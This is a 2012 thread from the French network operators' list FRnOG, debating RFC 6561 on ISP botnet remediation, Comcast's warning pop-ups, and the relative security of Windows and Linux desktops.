philosophie de la rétrocompatibilité à tout prix. Suffit de lire The Old New Thing pour se rendre compte que c'est une idée fixe là-bas. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Thu, 22 Mar 2012 00:21:16 +0100 e-t172 e-t...@akegroup.org wrote: Ton raisonnement s'applique à un gros parc d'entreprise avec des gens payés à plein temps pour bosser sur ce genre de trucs (ce qui est déjà pas gagné) et configurer au micropoil les politiques de sécurité. Je te parle de la machine chez Madame Michu. Peux-tu me citer une distribution user-friendly type Ubuntu qui implémente « hors de la boîte » ce genre de mesures de sécurité ? (c'est une vraie question) RHEL 5 et 6 et donc CentOS 5 et 6, Fedora toutes versions supportées, OpenSUSE depuis la 11 et dans doute la SUSE depuis la 11 aussi : SELinux actif après install pas dans un mode basique et le quidam n'a aucune manip à faire pour maintenir SELinux (le système de paquetage s'occupe de tout, le relabeling se fait lors des phase de boot si besoin. Un paquet qui se retrouve à être inutilisable à cause de SELinux est considéré comme buggé par rapport à la politique par défaut). La politique par défaut - http://oss.tresys.com/repos/refpolicy/ - est faite pour un grand nombre d'utilisation de base dont le poste de travail de Mme Michu. Il reste encore une demande de mot passe pour installer des paquetages pour des raisons non plus d'escalade de privilèges mais pour avec un moyen d'authentification à deux facteurs. root dans l'install de base n'est pas forcement l'utilisateur qui a le droit de manipuler les labels mais pour des raisons historiques, c'est plus ou moins conservées, çà risque de plus rester très longtemps, çà fait un moment que j'ai pas tellement eu le temps de participer à l'intégration d'une Fedora à part quelques patches de-ci delà. a +. -- Jérôme Benoit aka fraggle La Météo du Net - http://grenouille.com OpenPGP Key ID : 9FE9161D Key fingerprint : 9CA4 0249 AF57 A35B 34B3 AC15 FAA0 CB50 9FE9 161D signature.asc Description: PGP signature
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Etienne Dechamps a écrit: Ce qui les ralentit c'est surtout leur philosophie de la rétrocompatibilité à tout prix. Suffit de lire The Old New Thing pour se rendre compte que c'est une idée fixe là-bas. C'est vrai, mais la raison pour laquelle ils tiennent 95% du marché corporate c'est leur philosophie de la rétrocompatibilité à tout prix. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 20/03/2012 16:22, Stephane Bortzmeyer a écrit : Il n'existe pas de solution miracle contre les zombies. C'est comme cela que je lis ce document qui, malgré son nom, propose peu de remèdes. Et certaines des solutions relèvent plus d'une logique « business » (se débarasser d'un problème) que d'une volonté d'améliorer l'Internet (le document se réclame du MAAWG, cartel de gros opérateurs très tentés par le nettoyage civilisateur). Je partage bien ton point de vue : ça manque de pistes pratiques. Sûrement parce que ça demande pas mal de boulot. En même temps, la logique business derrière la fourniture de services associés à la connexion à Internet est simple à mettre en place et correspond à une évolution du marché qui voit de plus en plus d'utilisateurs prêts à payer un service plus qualitatif que la cretinbox à 30€. Avec des opérateurs qui se prétendent intégrateurs et se diversifient voir verticalisent leurs offres, ça semblerait assez logique d'intégrer un certain nombre de services dans les box par exemple. Ca fait quelques temps qu'un système de netboot intégré aux box disposant d'un minimum de stockage me trotte dans la tête. Un système minimaliste pour l'accès au web et aux services mail, video, voip et autre du FAI, intégrant des outils de nettoyage, un OS store éventuellement, avec du coup l'opportunité de marger sur ces outils et sur un service de télémaintenance des postes y compris grand public, ça parait pas déconnant aussi bien techniquement que commercialement. Bon, tu vas pas netbooter une bouse d'il y a cinq ans connectée en WiFi mais ça peut couvrir une part non négligeable du parc malgré tout. Associer ça au sandboxing, à la télédistribution anticipée des updates système/AV (WindowsUpdate distribué aux box en multicast, ce sera pas efficace ça pour décongestionner certaines boucles locales ?), à de la doc vraiment accessible et des recommandations aux utilisateurs, ça fait un bon packaging pour Mme Michu... -- Jérôme Nicolle 06 19 31 27 14 --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Merci pour le document et son analyse, qui a au moins le mérite de poser des bases de travail. Remédier à l'infection des utilisateurs par des maliciels devrait être, et je ne pense pas être le seul à le penser, un des service fournis par les FAI. Effectivement, cette RFC est (sans doutes pour des raisons politiques) succincte et n'aborde peu le point de que faire, si ce n'est par les problèmes que cela peut engendrer en termes de privacy. Cela dit, on se retrouve dans la même problématique de nettoyer devant sa porte (quid ne l'action volontaire d'un utilisateur spammeur, ou DoSeur, doit on chercher à le détecter proactivement, réagir quand la cible se plaint, ne rien faire tant que cela n'impacte pas les autres utilisateurs ou nous mêmes en tant que FAI?). Je mords néanmoins au troll À noter qu'une autre faiblesse de ce document est que, pour éviter de déchainer les avocats de Microsoft, le fait que la quasi-totalité des zombies soient aujourd'hui des machines Windows est tout simplement absent... Peut être pour éviter de dire une évidence, qui est que la quasi totalité des machines des end-users sont des machines windows. Je sais que cet argument peut dans certains contextes ne pas être valide, mais ici il l'est. Les bot herders cherchent la rentabilité, le plus grand nombre de machines infectées par leur code, la majorité des postes vulnérables à n'importe quoi (y compris l'utilisateur) sont sous windows, ergo la majorité des zombies sont sous windows. Posons nous la question de en quoi cela peut aider la remédiation. On pourrait recommander à MS de pousser, via Windows Update, des correctifs dédiés. Ne le font-ils pas? (-- vraie question, leur malware removal tool qu'ils poussent de temps en temps, je n'ai aucune idée de ce qu'il fait). On pourrait aussi recommander à tous nos utilisateurs de ne pas utiliser Windows, ce qui serait effectivement très efficace comme déni de service local, ou comme permis d'utiliser internet. J'aimerais bien savoir quelle intention non-trollesque était derrière ce paragraphe. Rob' --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On 03/20/2012 05:12 PM, RobOEM wrote: Merci pour le document et son analyse, qui a au moins le mérite de poser des bases de travail. Remédier à l'infection des utilisateurs par des maliciels devrait être, et je ne pense pas être le seul à le penser, un des service fournis par les FAI. Pourquoi ? Si je veux bien croire que les FAIs soient bien placés pour détecter/signaler un problème, la source de l'infection se situe rarement sur son domaine de compétence. Peut être pour éviter de dire une évidence, qui est que la quasi totalité des machines des end-users sont des machines windows. Sauf que la donne va petit à petit changer. Il y a de plus en plus de périphériques réseaux (imprimantes, télévisions, lecteurs multimédias, refrigérateurs) conçus par des sociétés ayant peu d'expériences en terme de sécurité. Se focaliser sur Windows risque de n'aboutir qu'à une solution à court terme. François --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le choix de windows pour lancer du bot est surtout le nombre de poste installés sous des systèmes type windows, si la majorité des postes étaient des Debian ou RHEL, le résultat serait le même, voire pire pour nous, les serveurs seraient bien plus infectés. Loin de moi l'idée de défendre Microsoft, mais quand tu veux attaquer en masse, tu attaques le système le plus répandu. Si ils ne le citent pas dans la RFC c'est bien que c'est une évidence (en tout cas pour les personnes ciblées par la RFC ou susceptible de la lire : c'est à dire nous). trollSinon la RFC en elle même ressemble plus à un programme de nos chers politiciens qu'à une doc ciblant des techs./troll Désolé on est pas encore trolldredi :) Jonathan -Message d'origine- De : rdelauge...@gmail.com [mailto:rdelauge...@gmail.com] De la part de RobOEM Envoyé : mardi 20 mars 2012 17:13 À : Stephane Bortzmeyer Cc : frnog-m...@frnog.org Objet : Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks Merci pour le document et son analyse, qui a au moins le mérite de poser des bases de travail. Remédier à l'infection des utilisateurs par des maliciels devrait être, et je ne pense pas être le seul à le penser, un des service fournis par les FAI. Effectivement, cette RFC est (sans doutes pour des raisons politiques) succincte et n'aborde peu le point de que faire, si ce n'est par les problèmes que cela peut engendrer en termes de privacy. Cela dit, on se retrouve dans la même problématique de nettoyer devant sa porte (quid ne l'action volontaire d'un utilisateur spammeur, ou DoSeur, doit on chercher à le détecter proactivement, réagir quand la cible se plaint, ne rien faire tant que cela n'impacte pas les autres utilisateurs ou nous mêmes en tant que FAI?). Je mords néanmoins au troll À noter qu'une autre faiblesse de ce document est que, pour éviter de déchainer les avocats de Microsoft, le fait que la quasi-totalité des zombies soient aujourd'hui des machines Windows est tout simplement absent... Peut être pour éviter de dire une évidence, qui est que la quasi totalité des machines des end-users sont des machines windows. Je sais que cet argument peut dans certains contextes ne pas être valide, mais ici il l'est. Les bot herders cherchent la rentabilité, le plus grand nombre de machines infectées par leur code, la majorité des postes vulnérables à n'importe quoi (y compris l'utilisateur) sont sous windows, ergo la majorité des zombies sont sous windows. Posons nous la question de en quoi cela peut aider la remédiation. On pourrait recommander à MS de pousser, via Windows Update, des correctifs dédiés. Ne le font-ils pas? (-- vraie question, leur malware removal tool qu'ils poussent de temps en temps, je n'ai aucune idée de ce qu'il fait). On pourrait aussi recommander à tous nos utilisateurs de ne pas utiliser Windows, ce qui serait effectivement très efficace comme déni de service local, ou comme permis d'utiliser internet. J'aimerais bien savoir quelle intention non-trollesque était derrière ce paragraphe. Rob' --- Liste de diffusion du FRnOG http://www.frnog.org/ --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
RobOEM a écrit: Merci pour le document et son analyse, qui a au moins le mérite de poser des bases de travail. Remédier à l'infection des utilisateurs par des maliciels devrait être, et je ne pense pas être le seul à le penser, un des service fournis par les FAI. Francois Petillon a écrit: Pourquoi ? Si je veux bien croire que les FAIs soient bien placés pour détecter/signaler un problème, la source de l'infection se situe rarement sur son domaine de compétence. +1 Stephane Borzmeyer a écrit: Vous vous demandez peut-être quelle solution a finalement retenue Comcast ? Décrite dans le RFC 6108, elle consiste à modifier le contenu des pages Web vues par l'utilisateur pour y insérer une fenêtre-polichinelle d'avertissement. C'est une bonne méthode, et pour des raisons que l'on ne soupçonnait pas: récemment il y a eu une épidémie de faux logiciels de nettoyage (qui sont eux-mêmes le problème) et les utilisateurs commencent à comprendre que les fenêtres qui indiquent un problème, même si étant elles-mêmes la source du problème, veulent dire qu'il faut faire quelque chose. Les utilisateurs recevant ce message vont donc croire qu'il contient un virus, mais au bout du compte si le résultat est qu'ils nettoient leur PC, l'objectif est atteint et ils pourront dire autour d'eux qu'ils ont nettoyé le virus que Comcast leur avait envoyé sans comprendre que la raison pour laquelle le message n'apparait plus est que Malwarebytes ou Kaspersky ont enlevé le vrai ver, pas le virus comcast. Stephane Borzmeyer a écrit: À noter qu'une autre faiblesse de ce document est que, pour éviter de déchainer les avocats de Microsoft, le fait que la quasi-totalité des zombies soient aujourd'hui des machines Windows est tout simplement absent... RobOEM a écrit: Peut être pour éviter de dire une évidence, qui est que la quasi totalité des machines des end-users sont des machines windows. Je sais que cet argument peut dans certains contextes ne pas être valide, mais ici il l'est. Les bot herders cherchent la rentabilité, le plus grand nombre de machines infectées par leur code, la majorité des postes vulnérables à n'importe quoi (y compris l'utilisateur) sont sous windows, ergo la majorité des zombies sont sous windows. +1 On pourrait aussi recommander à tous nos utilisateurs de ne pas utiliser Windows, troll A tant que faire on pourrait aussi leur demander de ne pas être cons et de ne pas aller à la pêche aux cracks de jeu et autre activités à haut risque de se retrouver contaminé. /troll Plus sérieusement, je pense que les fabricants d'antivirus vont trop loin avec les cracks de jeux et les keygens: ils ne testent pas si le crack contient un virus ou pas et marquent systématiquement le fichier comme virus. C'est contre-productif, car ça pousse les utilisateurs à désactiver l'antivirus quand ils sont convaincus que le crack ne présente pas de danger, ce qui est parfois le cas. Quand on regarde les commentaires d'un torrent sur TPB, on voit souvent attention, contient virus ne téléchargez pas et on commence aussi à voir mais non c'est pas un virus vous pouvez prendre sans crainte. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Commentaires inline. 2012/3/20 Michel Py mic...@arneill-py.sacramento.ca.us: RobOEM a écrit: Merci pour le document et son analyse, qui a au moins le mérite de poser des bases de travail. Remédier à l'infection des utilisateurs par des maliciels devrait être, et je ne pense pas être le seul à le penser, un des service fournis par les FAI. Francois Petillon a écrit: Pourquoi ? Si je veux bien croire que les FAIs soient bien placés pour détecter/signaler un problème, la source de l'infection se situe rarement sur son domaine de compétence. +1 La source de l'infection n'est pas de son domaine de compétence, mais la détection l'est. Et si l'on se réfère à ce genre de posts http://www.mail-archive.com/frnog@frnog.org/msg17023.html http://www.mail-archive.com/frnog@frnog.org/msg17826.html c'est bien au FAI d'intervenir, et d'aider le client à se sortir de la merde, dans une certaine limite. Stephane Borzmeyer a écrit: Vous vous demandez peut-être quelle solution a finalement retenue Comcast ? Décrite dans le RFC 6108, elle consiste à modifier le contenu des pages Web vues par l'utilisateur pour y insérer une fenêtre-polichinelle d'avertissement. C'est une bonne méthode, et pour des raisons que l'on ne soupçonnait pas: récemment il y a eu une épidémie de faux logiciels de nettoyage (qui sont eux-mêmes le problème) et les utilisateurs commencent à comprendre que les fenêtres qui indiquent un problème, même si étant elles-mêmes la source du problème, veulent dire qu'il faut faire quelque chose. +1, sauf sur la partie de 'on ne soupçonnait pas'. Sisi, et on y travaille. Etablir la légitimité de ce genre de message pour Mme Michu est un gros boulot, qui est entrepris. Les utilisateurs recevant ce message vont donc croire qu'il contient un virus, mais au bout du compte si le résultat est qu'ils nettoient leur PC, l'objectif est atteint et ils pourront dire autour d'eux qu'ils ont nettoyé le virus que Comcast leur avait envoyé sans comprendre que la raison pour laquelle le message n'apparait plus est que Malwarebytes ou Kaspersky ont enlevé le vrai ver, pas le virus comcast. Stephane Borzmeyer a écrit: À noter qu'une autre faiblesse de ce document est que, pour éviter de déchainer les avocats de Microsoft, le fait que la quasi-totalité des zombies soient aujourd'hui des machines Windows est tout simplement absent... RobOEM a écrit: Peut être pour éviter de dire une évidence, qui est que la quasi totalité des machines des end-users sont des machines windows. Je sais que cet argument peut dans certains contextes ne pas être valide, mais ici il l'est. Les bot herders cherchent la rentabilité, le plus grand nombre de machines infectées par leur code, la majorité des postes vulnérables à n'importe quoi (y compris l'utilisateur) sont sous windows, ergo la majorité des zombies sont sous windows. +1 On pourrait aussi recommander à tous nos utilisateurs de ne pas utiliser Windows, troll A tant que faire on pourrait aussi leur demander de ne pas être cons et de ne pas aller à la pêche aux cracks de jeu et autre activités à haut risque de se retrouver contaminé. /troll Ah ouais, passque le drive-by download ça existe pas? Plus sérieusement, je pense que les fabricants d'antivirus vont trop loin avec les cracks de jeux et les keygens: ils ne testent pas si le crack contient un virus ou pas et marquent systématiquement le fichier comme virus. C'est contre-productif, car ça pousse les utilisateurs à désactiver l'antivirus quand ils sont convaincus que le crack ne présente pas de danger, ce qui est parfois le cas. Totalement +1. Et même, cela permet à des gens pas bien intentionnés de dire ton AV va détecter ça comme un virus mais c'est normal, regarde comment ils détectent tel crack, ou pwdump. Ignore donc cet avertissement et continue avec l'install. http://pcdn.500px.net/3173305/d926d906d6d120f568898db309303947d12d9ec5/4.jpg Après, où tirer la limite? Surement pas au cracks, mais j'aimerais bien être prévenu (et simplement prévenu) que nmap, tcpdump, ou pwdump ou psexec sont présents sur ma machine. Juste pour savoir s'ils ont une bonne raison d'être là. Quand on regarde les commentaires d'un torrent sur TPB, on voit souvent attention, contient virus ne téléchargez pas et on commence aussi à voir mais non c'est pas un virus vous pouvez prendre sans crainte. Michel. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Tue, 20 Mar 2012 17:26:21 +0100 bartoua bart...@gmail.com wrote: Si ils ne le citent pas dans la RFC c'est bien que c'est une évidence (en tout cas pour les personnes ciblées par la RFC ou susceptible de la lire : c'est à dire nous). trollSinon la RFC en elle même ressemble plus à un programme de nos chers politiciens qu'à une doc ciblant des techs./troll Mais si. Regardes. C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges, qui ne randomize pas la pile d'allocation mémoire, qui ne fourni pas de base une seule politique de type MAC et j'ose à peine parler pas de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour être fait sans énorme hack), c'est juste à cause du nombre d'installation d'un OS aussi mal conçu s'il est aussi facile à cracker. Et puis il y a largement plus de serveur online 24/7 sous une *nix que des postes utilisateurs sous Windows online par intermittence, et donc c'est une cible privilégiée pour se faire des botnets. Et étrangement, c'est très rare, poses toi donc la question suivante : Pourquoi? hints: une partie de la réponse est dans ce mail). Mieux vaut lire çà que d'être déconnecté. -- Jérôme Benoit aka fraggle La Météo du Net - http://grenouille.com OpenPGP Key ID : 9FE9161D Key fingerprint : 9CA4 0249 AF57 A35B 34B3 AC15 FAA0 CB50 9FE9 161D signature.asc Description: PGP signature
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Le 20/03/2012 20:25, Jérôme Benoit a écrit : Et puis il y a largement plus de serveur online 24/7 sous une *nix que des postes utilisateurs sous Windows online par intermittence, et donc c'est une cible privilégiée pour se faire des botnets. Et étrangement, c'est très rare, poses toi donc la question suivante : Pourquoi? hints: une partie de la réponse est dans ce mail). Sauf que les serveurs sous *nix sont administrés par des gens qui en général savent ce qu'ils font. Et, quand ils ne savent pas ce qu'ils font, ça donne les nids à spam/DDOS d'OVH, avec Kevin Kikoolol qui fait tourner une appli en root sans la MAJ et se fait infecter par paquets de 100. Sur un *nix. Le problème c'est bien davantage de savoir si c'est Kevin Kikoolol, ou un lecteur de FRnOG, qui administre la machine (que celle-ci soit Windows ou *nix), que l'OS qui tourne sur la machine. Rémi. --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
Désolé, on est pas vendredi, mais je vais quand même marcher dedans. On 2012-03-20 20:25, Jérôme Benoit wrote: C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges, Depuis Windows Vista, si. Tout utilisateur (même admin) est par défaut sur une session à droits restreints et doit explicitement autoriser une application à s'élever pour toucher au système. Et c'est conçu de telle sorte que même les vieilles applis fonctionnent avec des droits restreints, grâce à une astucieuse redirection automatique des appels système. http://en.wikipedia.org/wiki/User_Account_Control qui ne randomize pas la pile d'allocation mémoire Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows qui ne fourni pas de base une seule politique de type MAC Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control j'ose à peine parler pas de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour être fait sans énorme hack) Google Chrome met chaque thread correspondant à un onglet dans une sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour le faire. Il faut aussi signaler le mode protégé des threads d'IE qui s'en rapproche pas mal. Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% de parts de marché sur le bureau, la situation serait exactement la même. En fait, ce serait même pire : par rapport à UAC, la solution typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. Au moins, Microsoft essaie de mettre le maximum de bâtons dans les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte (typiquement, un shell) qui est totalement sous le contrôle de l'utilisateur à droits restreints, ce qui en fait un dispositif de sécurité à peu près équivalent à un cadenas en mousse. -- Etienne Dechamps / e-t172 - AKE Group Phone: +33 6 23 42 24 82 --- Liste de diffusion du FRnOG http://www.frnog.org/
RE: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
quote Jérôme Benoit Et puis il y a largement plus de serveur online 24/7 sous une *nix que des postes utilisateurs sous Windows online par intermittence, et donc c'est une cible privilégiée pour se faire des botnets. Et étrangement, c'est très rare, poses toi donc la question suivante : Pourquoi? hints: une partie de la réponse est dans ce mail). /quote Certaines entreprises n'éteignent quasiment jamais les postes, ce qui laisse des portes d'entrées grandes ouvertes à des petits marioles. Sans parler des kevin-kikoolol-trohaxxer qui ont une dedibox ou un ovh (désolé on est pas vendredi) avec un serveur minecraft lancé en root ou en sudoer (sudo est une bonne passoire) et qui n'ont rien trouvé de mieux comme password que 123456, azerty ou bossXX (où XX est le numéro de leur département) et qui se font squatter leur serveur par des bots. Tu serais étonné de voir les provenances des attaques que je reçois au quotidien. Majoritairement du serveur xNIX, visiblement du bot vu les périodes entre les tentatives de forcing ssh et apache (dans le genre 5, 10 ou 15 minutes et pas une seconde de retard). Très peu d'attaque provenant d'ISP, majoritairement de la prod (frontaux web ou mail). Rien qu'à voir les reverse DNS de certains ça laisse à douter du sérieux de certaines enseignes. CQFD (Ce Qu'il Fallait Debugger) -- Jonathan --- Liste de diffusion du FRnOG http://www.frnog.org/
Re: [FRnOG] [MISC] RFC 6561: Recommendations for the Remediation of Bots in ISP Networks
On Tue, 20 Mar 2012 23:47:49 +0100 e-t172 e-t...@akegroup.org wrote: Désolé, on est pas vendredi, mais je vais quand même marcher dedans. On 2012-03-20 20:25, Jérôme Benoit wrote: C'est sur, c'est pas la faute de l'OS qui ne sépare pas les privilèges, Depuis Windows Vista, si. Tout utilisateur (même admin) est par défaut sur une session à droits restreints et doit explicitement autoriser une application à s'élever pour toucher au système. Et c'est conçu de telle sorte que même les vieilles applis fonctionnent avec des droits restreints, grâce à une astucieuse redirection automatique des appels système. http://en.wikipedia.org/wiki/User_Account_Control Cette bonne blague :) Et tu oses appeler çà de la séparation de privilèges ? man 7 capabilities sous Linux par exemple mais des mécanismes similaires existent sous tous les *nix des années avant 2008, l'année ou MS a tout juste commencé à comprendre les idées sous-jacentes du principe (mais pas entièrement vu le résultat :)) qui ne randomize pas la pile d'allocation mémoire Idem : http://en.wikipedia.org/wiki/ASLR#Microsoft_Windows Ahahahahah, même OS X l'implémente mieux depuis la 10.7, je te donne 10 min pour trouver un bout de code en C qui listent les zones qui ne le sont pas et elles sont tellement nombreuses :) qui ne fourni pas de base une seule politique de type MAC Itou : http://en.wikipedia.org/wiki/Mandatory_Integrity_Control Tu cherches à te ridiculiser en public ? 1) c'est pas actif à la livraison dans trop de OEM 2) c'est l'application qui choisit et de ne pas le faire dans 98% des cas (hénaurme) j'ose à peine parler pas de sandbox (çà impliquerait d'avoir des appels systèmes POSIX pour être fait sans énorme hack) Google Chrome met chaque thread correspondant à un onglet dans une sandbox, et à ma connaissance, il n'utilise pas d'« énorme hack » pour le faire. Il faut aussi signaler le mode protégé des threads d'IE qui s'en rapproche pas mal. Un rapide sous d’œil à http://src.chromium.org/viewvc/chrome/trunk/src/sandbox/src/ me fait très largement dire le contraire :) Il y a fort à parier que si c'étaient des systèmes Linux qui avaient 95% de parts de marché sur le bureau, la situation serait exactement la même. Si l'intégration ne fait pas la part belle à la sécurité, c'est probable. En fait, ce serait même pire : par rapport à UAC, la solution typique sous Linux à base de su/sudo (cf Ubuntu) est une véritable passoire. Au moins, Microsoft essaie de mettre le maximum de bâtons dans les roues à quelqu'un qui essaierait de passer outre le prompt UAC ; par contre sous Linux c'est la fête : su/sudo s'exécute dans un contexte (typiquement, un shell) qui est totalement sous le contrôle de l'utilisateur à droits restreints, ce qui en fait un dispositif de sécurité à peu près équivalent à un cadenas en mousse. Tu confonds deux choses qui n'ont aucun rapport : - La conception d'un système d'exploitation avec des mécanismes de sécurité qui tiennent la route; - L'intégration d'un tel système qui oublient juste d'implémenter lesdits mécanismes. OS X ou Ubuntu sont dans les cas ou çà n'a pas été oublié à la conception mais lors de l'intégration. Les corrections sont simples pour corriger des choix d'intégration. Windows est dans le cas ou çà a été oublié à la conception et le cheminement inverse pour palier les errances en sécurité à la conception est juste largement plus complexe et ... en cours de cheminement ... (pour rester poli) depuis 4 ans sans apporter pour le moment des réponses concrètes et efficientes (une parti du pb étant d'avoir mal habitué des palanqués de programmeurs a des APIs qui n’intègre aucunes notions de sécurité). -- Jérôme Benoit aka fraggle La Météo du Net - http://grenouille.com OpenPGP Key ID : 9FE9161D Key fingerprint : 9CA4 0249 AF57 A35B 34B3 AC15 FAA0 CB50 9FE9 161D signature.asc Description: PGP signature
